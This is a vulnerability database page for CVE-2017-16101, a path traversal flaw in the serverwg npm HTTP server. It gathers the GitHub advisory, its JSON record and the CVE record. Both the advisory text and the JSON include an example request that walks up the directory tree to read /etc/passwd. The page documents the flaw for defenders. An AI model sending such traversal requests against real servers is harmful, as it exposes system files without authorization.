Vulnerability-Lookup

GHSA-2F29-PMPX-VJ62

Vulnerability from github – Published: 2020-09-01 16:52 – Updated: 2023-09-07 20:42

Summary

Directory Traversal in serverwg

Details

serverwg is a simple http server.

serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

and response:

HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Severity ?

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "serverwg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:20:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "id": "GHSA-2f29-pmpx-vj62",
  "modified": "2023-09-07T20:42:00Z",
  "published": "2020-09-01T16:52:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverwg"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/364"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directory Traversal in serverwg"
}

CVE-2017-16101 (GCVE-0-2017-16101)

Vulnerability from cvelistv5 – Published: 2018-06-07 02:00 – Updated: 2024-09-17 01:41

Summary

serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Severity ?

No CVSS data available.

CWE

CWE-22 - Path Traversal (CWE-22)

Assigner

hackerone

References

URL

Tags

	https://github.com/JacksonGL/NPM-Vuln-PoC/tree/ma…	x_refsource_MISC
	https://nodesecurity.io/advisories/364	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	HackerOne	serverwg node module	Affected: All versions

Show details on NVD website

JSON

To clipboard

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  "containers": {
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        "providerMetadata": {
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        "references": [
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            "tags": [
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              "x_transferred"
            ],
            "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverwg"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://nodesecurity.io/advisories/364"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "serverwg node module",
          "vendor": "HackerOne",
          "versions": [
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      ],
      "datePublic": "2018-04-26T00:00:00",
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        {
          "lang": "en",
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      ],
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              "type": "CWE"
            }
          ]
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      "providerMetadata": {
        "dateUpdated": "2018-06-07T01:57:01",
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      },
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          ],
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        },
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          "url": "https://nodesecurity.io/advisories/364"
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      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "support@hackerone.com",
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        },
        "affects": {
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  "cveMetadata": {
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  },
  "dataType": "CVE_RECORD",
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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